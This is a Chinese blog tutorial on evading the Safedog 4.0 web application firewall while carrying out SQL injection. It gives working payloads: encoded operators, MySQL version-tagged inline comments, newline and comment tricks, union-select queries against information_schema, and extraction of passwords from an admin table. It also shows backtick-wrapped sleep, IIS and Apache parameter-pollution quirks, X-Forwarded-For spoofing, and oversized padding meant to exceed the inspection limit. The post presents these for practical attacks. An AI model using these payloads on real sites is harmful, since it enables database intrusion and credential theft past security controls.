绕过安全狗_安全狗Bypass绕过

纸上得来终觉浅,绝知此事要躬行。

安全狗的版本是4.0(最新的啦)

在实战中会经常遇到waf很困扰,有时候站点有waf连报错都不会回显给你,这就很难受

特此做一篇文章总结我学习绕狗的知识总结

安全狗为例,后续会出D盾、守护神等等

有时间就做一些总结

第一步确认已经打开安全狗,判断是否存在注入点

376cf87adf52b3823319f586a62118cc.png

由此可见安全狗对我们的不友好,按照拦截的思路,安全狗是拦截and 1=1一个整体的。如果你输入id?=1 and它不会拦截  当然  id=1? 1=1也不会拦截,既然是拦截整个语句,那么这里有两个方法把and或者把1=1用其他东西来代替

在URL栏中&符号是连接的意思,在SQL语句中却是and的意思,那么可以把&转换为URL编码%26

1=1用-1=-1来代替

演示如下: 由此可见  waf并没有拦截

8a1c6bcdee2307721ef7af70ea0a21ec.png

And -1=-2时报错了

这里可以证明存在注入点

既然存在注入了,那么直接来找输出点,输出点要用到联合查询  union select

可想而知and 1=1都会被拦截,何尝union select不会呢?

这里有一个知识点!

在这里要讲一个东西叫做内联注释

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!**/中

这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行

在/*!select*/里面的东西会被当作代码执行

一般来说这样就能实现绕过了

60aaac222946b5e8e061e2ecdcd82445.png

都这样了,为什么还会被拦截?不是说好了不拦截吗?哈哈哈其实这里可以加上数据库版本号去执行就可以了

例如这个,发现语句并没有被拦截,而且输出点是2

f8849c4c2cdd38127593d0ce7dd33abb.png

其实10044就是数据库的版本,如果当这个10044不好使时,可以用其他看看安全狗遗漏的版本号,跑包测试

46882edf2ee56086e944be58fde9a508.png

e77e26330b4a6e9acf3b45288a941532.png

d5f7e27de656e8003cfcc5002d6e1a9d.png

其中的长度为1578都是可以用的

找到了输出点,下一步按理来说是去系统自带库中寻找当前表名和字段名的

但是

我懒~~~就不按步骤来了,就直接查询数据了

这里提供去系统自带库中寻找表名的完整语句

?id=1 and -1=-2 union /*!10144select*/1,table_name-- qwe/*%0afrom information_schema.tables where table_schema=database() %23*/

可以试试加个特殊字符%0a写在内联注入中可以产生换行效果

实际上会产生什么样的效果呢?

注入语句: Union /*!10044select*/ 1,2,3-- q/*%0afrom admin%23*/

实际上到数据库中的语句:Union /*!10044select*/ 1,2,3-- q/*%0a

from admin%23*/

-- q注释掉了/*    随后%0a换行    %23是#也会注释掉后面的*/

c3c317be6dd66eea28b9c94f35e1a886.png

这样数据就被查询出来了,也没有并拦截

在盲注的时候

有些函数加了反引号也能使用不会被拦截,大可一试

`sleep`(3)

`updatexml`

还可以利用中间件的一些特性

比如说:

iis的s%e%l%e%c%t等价于select

apache:参数污染

?Id=1的站点可以尝试       ?Id=1&id=2  数据库会执行后面的id=2

如果这样会执行成功的话,可以尝试做一些小操作

?id=1/*&id=2union select 1,passwd,3 from admin limit 1,1%23*/

尝试:?id=1/*%0a&id=2 union select1,passwd,3 from admin limit 1,1%23*/

还有一种方法就是

白名单绕过

如果恶意语句被拦截可以去拦截数据包尝试修改X-FORWradede-FOR改为127.0.0.1

缓冲区绕过

应该算是缓冲区绕过吧……哈哈哈哈

如果传参的字符太多了,超出了傻狗的检测范围,傻狗就只能检测他能检测的部分

这样的话可以这样去传参

/*dasdasjhdasdaslkjds…….几千个字符吧*/union select 1,passwd,3 from admin limit 1,1

如果是安全狗的话,四千个字符左右恰到好处

很显然几千个字符GET肯定是传不了,转成POST,可以抓包在里面添加无用参数,用注释把他注释掉,在最后添加查询语句

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值